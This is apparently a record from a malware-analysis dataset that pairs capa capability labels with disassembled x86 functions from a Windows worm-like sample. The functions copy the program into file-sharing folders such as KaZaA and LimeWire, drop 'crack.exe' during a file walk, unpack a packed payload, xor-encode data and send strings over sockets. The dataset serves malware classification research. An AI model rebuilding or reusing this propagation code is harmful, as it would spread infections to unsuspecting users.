joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4023c0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x402868
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov eax, dword [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x402439
mov edx, dword [esp + 0x20]
mov eax, dword [esp + 0x1c]
lea ecx, [esp + 4]
push 0
push ecx
push edx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov al, 1
pop esi
mov ecx, dword [esp + 4]
mov dword fs:[0], ecx
add esp, 0x10
ret
lea ecx, [esp + 0x18]
mov dword [esp + 0x10], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 8]
xor al, al
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x402460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x402890
push eax
mov dword fs:[0], esp
push ebx
push ebp
push esi
push edi
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x28]
and ecx, 0xffff
push eax
push ecx
push 0
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x402509
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x402509
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
je 0x402509
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov esi, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
push ecx
lea eax, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0x30], esp
push eax
call sub.MFC42.DLL_CString::CString
call fcn.004023c0
add esp, 0xc
test al, al
push ebp
jne 0x40253d
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
xor al, al
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea ecx, [esp + 0x20]
mov byte [esp + 0x18], 0
call fcn.00402600
lea ecx, [esp + 0x28]
mov dword [esp + 0x18], 0xffffffff
call fcn.00402600
mov ecx, dword [esp + 0x10]
pop edi
pop esi
pop ebp
mov al, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0xc
ret

Function at 0x408917
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x4085d8
mov edi, 0x14213e24
call fcn.0040893e
add eax, eax
sub eax, edi
xor dword [ebx], ecx
add ebx, 1
add eax, 1
cmp ebx, edx
jne fcn.00408917
ret
Function at 0x416000
Capabilities:
Packed with generic packer

Disassembly:
pushal
call 0x416006
or ebp, 0xffffffff
xor ebx, ebx
pop esi
lea edi, [esi - 0x15006]
push edi
add word [edi + 0x1429c], 0
add esi, 0x1b3
jmp 0x41602e
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x416039
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x416028
mov eax, 1
add ebx, ebx
jne 0x41604b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
ja 0x416040
jne 0x41605c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416040
xor ecx, ecx
sub eax, 3
jb 0x4160ca
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4160e6
mov ebp, eax
add ebx, ebx
jne 0x41607b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416088
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4160ac
inc ecx
add ebx, ebx
jne 0x416098
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
ja 0x41608d
jne 0x4160a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41608d
add ecx, 2
cmp eax, 0xfffff300
adc ecx, 1
lea edx, [edi + eax]
cmp eax, 0xfffffffc
jle 0x4160d0
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4160bc
jmp 0x41602e
mov eax, ebp
jmp 0x416070
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4160d0
add edi, ecx
jmp 0x41602e
pop esi
sub edi, dword [edi - 4]
push edi
lea edi, [esi]
mov ecx, 0x137
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4160f6
cmp byte [edi], 1
jne 0x4160f6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x4160fb
pop edi
mov eax, dword [edi]
or eax, eax
je 0x416166
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x13000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x13064]
xchg edx, eax
mov al, byte [edi]
inc edi
or al, al
je 0x416123
push edx
mov ecx, edi
jns 0x416153
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push edx
call dword [esi + 0x13068]
pop edx
mov dword [ebx], eax
add ebx, 4
jmp 0x416140
lea ebx, [esi - 4]
add edi, 4
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x416197
cmp al, 0xef
ja 0x41618a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41616c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x416179
popal
jmp 0x40179b
Function at 0x401000
Capabilities:
Get common file path
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x104
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.DC01_02_Picture_03_04_2008_google.com.zip
lea eax, [ebp - 0x104]
push eax
call fcn.00409d50
pop ecx
pop ecx
push 0x104
push 0
lea eax, [ebp - 0x208]
push eax
call fcn.00409ce0
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
push 0x41406c
lea eax, [ebp - 0x208]
push eax
call fcn.00409c85
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x401105
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov dword [ebp - 0x20c], 0x118
push dword [ebp - 0x20c]
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x210], eax
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
mov dword [eax], 0x14
mov eax, dword [ebp - 0x214]
and dword [eax + 0x10], 0
mov eax, dword [ebp - 0x214]
add eax, 0x14
mov dword [ebp - 0x218], eax
push 0x104
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x218]
call fcn.00409950
add esp, 0xc
push dword [ebp - 0x210]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp - 0x210]
push 0xf
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
leave
ret

Function at 0x401960
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push dword [ebp + 8]
push str._s.bck
lea eax, [ebp - 0x104]
push eax
call fcn.00409c85
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x40199b
push 1
pop eax
jmp 0x40199d
xor eax, eax
leave
ret

Function at 0x401fd1
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FilesLimeWireShared
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x402016
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FileseDonkey2000incoming
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x40205b
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FilesKAZAA
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret
Function at 0x4020a0
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FilesMorpheusMy_Shared_Folder_
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x4020e5
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FilesBearShareShared_
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x40212a
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FilesICQShared_Files_
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x40216f
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.Program_FilesGroksterMy_Grokster_
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret

Function at 0x4021b4
Capabilities:
Copy file
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push str.My_Downloads_
push 0x104
lea eax, [ebp - 0x104]
push eax
call fcn.0040a3af
add esp, 0xc
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
leave
ret
Function at 0x402280
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402319
mov edi, dword [ebp - 8]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x4022b6
shr eax, 1
jmp 0x4022bd
shr eax, 1
xor eax, 0xedb88320
loop 0x4022ab
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x4022a3
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 8]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x4022d7
not eax
mov dword [ebp - 4], eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 4]
jmp 0x40231b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4026da
Capabilities:
Enumerate files on windows
Enumerate files recursively
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
and dword [ebp - 4], 0
lea eax, [ebp - 0x148]
push eax
push 0x414284
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x402805
movsx eax, byte [ebp - 0x11c]
cmp eax, 0x2e
je 0x4027e4
mov eax, dword [ebp - 0x148]
and eax, 0x10
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x10
jne 0x402755
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp eax, 1
jne 0x402750
call fcn.004026da
push 0x414288
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x4027e4
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0x104
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x4027e4
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
push 3
push 0x41428c
lea eax, [ebp - 0x24c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x24f]
push eax
call fcn.0040a7c0
add esp, 0xc
test eax, eax
jne 0x4027e4
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x414290
push 0x414294
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x80
push str.crack.exe
push 0x4163f8
lea eax, [ebp - 0x24c]
push eax
call fcn.00402320
add esp, 0x10
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402706
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
leave
ret
Function at 0x402954
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [ebp - 0x124], 1
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp + 8], eax
cmp dword [ebp + 8], 0xffffffff
jne 0x402983
xor eax, eax
jmp 0x402a91
mov word [ebp - 0x114], 2
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x110], eax
push dword [ebp + 0x10]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x112], ax
lea eax, [ebp - 0x124]
push eax
push 0x8004667e
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_ioctlsocket]
push 0x10
lea eax, [ebp - 0x114]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_connect]
mov dword [ebp - 0x120], 5
and dword [ebp - 0x11c], 0
and dword [ebp - 0x104], 0
and dword [ebp - 0x128], 0
jmp 0x4029fa
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x104]
jae 0x402a1e
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp + eax*4 - 0x100]
cmp eax, dword [ebp + 8]
jne 0x402a1c
jmp 0x402a1e
jmp 0x4029ed
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x104]
jne 0x402a52
cmp dword [ebp - 0x104], 0x40
jae 0x402a52
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp + 8]
mov dword [ebp + eax*4 - 0x100], ecx
mov eax, dword [ebp - 0x104]
inc eax
mov dword [ebp - 0x104], eax
xor eax, eax
test eax, eax
jne 0x4029e4
lea eax, [ebp - 0x120]
push eax
push 0
lea eax, [ebp - 0x104]
push eax
push 0
push 0
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp - 0x118], eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp - 0x118], 0
jg 0x402a8e
xor eax, eax
jmp 0x402a91
push 1
pop eax
leave
ret

Function at 0x402e42
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jle 0x402e8d
push 0
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x402e75
cmp dword [ebp - 8], 0xffffffff
jne 0x402e79
xor eax, eax
jmp 0x402e90
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x402e4b
push 1
pop eax
leave
ret

Function at 0x402e92
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0x10], 0
jne 0x402ea1
xor eax, eax
jmp 0x402ee7
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jge 0x402ee4
push 0
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x402ed5
cmp dword [ebp - 8], 0
jne 0x402ed9
xor eax, eax
jmp 0x402ee7
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x402ea5
push 1
pop eax
leave
ret
Function at 0x403bd9
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x403c21
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x403c6a
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403c46
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x403c6a
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x12c]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403c21
push dword [ebp - 0x12c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
leave
ret
Function at 0x4052f6
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov word [ebp - 0x10], 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4166ec], eax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [0x4166ec]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x405353
push dword [0x4166ec]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x405356
push 1
pop eax
leave
ret

Function at 0x405358
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.0040aea0
and dword [ebp - 0x110c], 0
mov dword [ebp - 0x1004], 0x1000
push 0x104
lea eax, [ebp - 0x1108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x415084
lea eax, [ebp - 0x1108]
push eax
call fcn.0040a72c
pop ecx
pop ecx
mov dword [ebp - 0x110c], eax
cmp dword [ebp - 0x110c], 0
je 0x4054ac
push 2
push 0
push dword [ebp - 0x110c]
call fcn.0040a680
add esp, 0xc
push dword [ebp - 0x110c]
call fcn.0040ad45
pop ecx
mov dword [ebp - 0x1114], eax
push 0
push 0
push dword [ebp - 0x110c]
call fcn.0040a680
add esp, 0xc
and dword [ebp - 0x1110], 0
mov eax, dword [ebp - 0x110c]
mov eax, dword [eax + 0xc]
and eax, 0x10
test eax, eax
jne 0x4054ac
and dword [ebp - 0x1110], 0
push 0x1000
push 0
lea eax, [ebp - 0x1000]
push eax
call fcn.00409ce0
add esp, 0xc
push dword [ebp - 0x110c]
push 0x800
push 1
lea eax, [ebp - 0x1000]
push eax
call fcn.0040a598
add esp, 0x10
mov dword [ebp - 0x1004], eax
mov eax, dword [ebp - 0x110c]
mov eax, dword [eax + 0xc]
and eax, 0x20
test eax, eax
je 0x405452
jmp 0x4054ac
mov eax, dword [ebp - 0x1110]
cmp eax, dword [ebp - 0x1004]
jge 0x4054a7
push 0
push dword [ebp - 0x1004]
lea eax, [ebp - 0x1000]
push eax
push dword [0x4166ec]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0x1118], eax
or dword [ebp - 0x1118], 0xffffffff
cmp dword [ebp - 0x1118], 0
je 0x405493
jmp 0x4054a7
mov eax, dword [ebp - 0x1110]
add eax, dword [ebp - 0x1118]
mov dword [ebp - 0x1110], eax
jmp 0x405452
jmp 0x4053ed
push dword [ebp - 0x110c]
call fcn.0040a400
pop ecx
push dword [0x4166ec]
call dword [sym.imp.WS2_32.dll_closesocket]
push 1
pop eax
leave
ret
Function at 0x405b4e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov word [ebp - 0x30], 2
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2e], ax
push dword [ebp + 8]
call fcn.00408ce6
pop ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x405b83
xor eax, eax
jmp 0x405d0e
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x416900], eax
cmp dword [0x416900], 0
jae 0x405ba4
xor eax, eax
jmp 0x405d0e
push 0x10
lea eax, [ebp - 0x30]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x405bc2
xor eax, eax
jmp 0x405d0e
cmp dword [ebp + 0x10], 0
je 0x405c13
push dword [ebp + 0x14]
push 0x4151d0
call fcn.004054c9
pop ecx
push eax
push 0x41543c
push 0x200
lea eax, [ebp - 0x230]
push eax
call fcn.0040a3af
add esp, 0x14
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x230]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push dword [0x416900]
push dword [0x415154]
call fcn.00408d25
pop ecx
pop ecx
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00409c85
pop ecx
pop ecx
lea eax, [ebp - 0x20]
push eax
push 0x4151a4
call fcn.004054c9
pop ecx
push eax
push 0x415444
lea eax, [ebp - 0x230]
push eax
call fcn.00409c85
add esp, 0x10
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x230]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405c85
xor eax, eax
jmp 0x405d0e
push 0
push 0
call fcn.00408d25
pop ecx
pop ecx
push eax
push 0x41544c
lea eax, [ebp - 0x250]
push eax
call fcn.00409c85
add esp, 0xc
lea eax, [ebp - 0x250]
push eax
call fcn.0040a391
cdq
push 0xa
pop ecx
idiv ecx
push edx
lea eax, [ebp - 0x250]
push eax
push 0x4151e8
call fcn.004054c9
pop ecx
push eax
push str._s__s__fo_d.net___rage__:_s_r_n
lea eax, [ebp - 0x230]
push eax
call fcn.00409c85
add esp, 0x18
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x230]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x405d0b
xor eax, eax
jmp 0x405d0e
push 1
pop eax
leave
ret
Function at 0x4074f2
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0x4151c4
call fcn.004054c9
pop ecx
push eax
push str._s__s_:_s_r_n
push 0x200
lea eax, [ebp - 0x200]
push eax
call fcn.0040a3af
add esp, 0x18
push 0
lea eax, [ebp - 0x200]
push eax
call fcn.00409f00
pop ecx
push eax
lea eax, [ebp - 0x200]
push eax
push dword [0x416900]
call dword [sym.imp.WS2_32.dll_send]
push 0x200
push 0
lea eax, [ebp - 0x200]
push eax
call fcn.00409ce0
add esp, 0xc
leave
ret
Function at 0x408ce6
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x408d20
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x408d13
xor eax, eax
jmp 0x408d23
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
leave
ret